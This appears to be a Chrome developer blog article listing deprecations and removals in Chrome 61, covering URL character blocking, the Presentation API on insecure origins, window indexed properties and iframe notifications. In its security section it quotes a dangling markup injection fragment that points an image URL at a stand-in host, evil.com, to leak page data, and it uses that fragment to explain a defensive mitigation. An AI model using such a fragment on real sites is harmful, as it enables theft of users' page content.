

Deprecations and Removals in Chrome 61



By Joseph Medley

Technical Writer

In nearly every version of Chrome, we see a significant number of updates and improvements to the product, its performance, and also capabilities of the Web Platform. This article describes the deprecations and removals in Chrome 61, which is in beta as of August 3. This list is subject to change at any time.

Security and Privacy

Block resources whose URLs contain '\n' and '<' characters.

There is a type of hacking called *dangling markup injection* in which a truncated URL is used to send data to an external endpoint. For example, consider a page containing `<img src='https://evil.com/?`. Because the URL has no closing quote, browsers will read to the next quote that occurs and treat the enclosed characters as if it were a single URL.

Chrome 61 mitigates this vulnerability by restricting the character sets allowed in `href` and `src` attributes. Specifically, Chrome will stop processing URLs when it encounters new line characters (`\n`) and less than characters (`<`).

Developers with a legitimate use case for new line and less than characters in a URL should instead escape these characters.

[Intent to Remove](#) | [Chromestatus Tracker](#) | [Chromium Bug](#)

Deprecate and remove Presentation API on insecure contexts

It's been found that on insecure origins, the Presentation API can be used as a hacking vector on insecure origins. Since displays don't have address bars the API can be used to spoof content. It's also possible to exfiltrate data from running presentation.

In aligning with Blink's intention to remove powerful features on insecure origins, we plan to deprecate and remove support for the Presentation API on insecure contexts. Starting in Chrome 61, `PresentationRequest.start()` will no longer function on insecure origins.

JavaScript

Disallow defining of indexed properties on windows

Previously some browsers allowed for JavaScript assignments like the following:

```
window[0] = 1;
```



The [current HTML spec notes](#) that this is an explicit violation of the JavaScript spec. As such, this ability is removed in Chrome 61. As of February 2016, Firefox is already in compliance.

[Chromium Bug](#)

Remove usage of notifications from insecure iframes

Note: Removal was pushed to Chrome 62.

Permission requests from iframes can confuse users since it is difficult to distinguish between the containing page's origin and the origin of the iframe that is making the request. When the requests scope is unclear, it is difficult for users to judge whether to grant or deny permission.

Disallowing notifications in iframes will also align the requirements for notification permission with that of push notifications, easing friction for developers.

Developers who need this functionality can open a new window to request notification permission.

[Intent to Remove](#) | [Chromestatus Tracker](#) | [Chromium Bug](#)

Deprecation policy

To keep the platform healthy, we sometimes remove APIs from the Web Platform which have run their course. There can be many reasons why we would remove an API, such as:

- They are superseded by newer APIs.

- They are updated to reflect changes to specifications to bring alignment and consistency with other browsers.
- They are early experiments that never came to fruition in other browsers and thus can increase the burden of support for web developers.

Some of these changes will have an effect on a very small number of sites. To mitigate issues ahead of time, we try to give developers advanced notice so they can make the required changes to keep their sites running.

Chrome currently has a process for deprecations and removals of API's, essentially:

- Announce on the blink-dev mailing list.
- Set warnings and give time scales in the Chrome DevTools Console when usage is detected on the page.
- Wait, monitor, and then remove the feature as usage drops.

You can find a list of all deprecated features on chromestatus.com using the deprecated filter and removed features by applying the removed filter. We will also try to summarize some of the changes, reasoning, and migration paths in these posts.

Except as otherwise noted, the content of this page is licensed under the [Creative Commons Attribution 3.0 License](https://creativecommons.org/licenses/by/3.0/), and code samples are licensed under the [Apache 2.0 License](https://www.apache.org/licenses/LICENSE-2.0). For details, see our [Site Policies](#). Java is a registered trademark of Oracle and/or its affiliates.

Last updated July 2, 2018.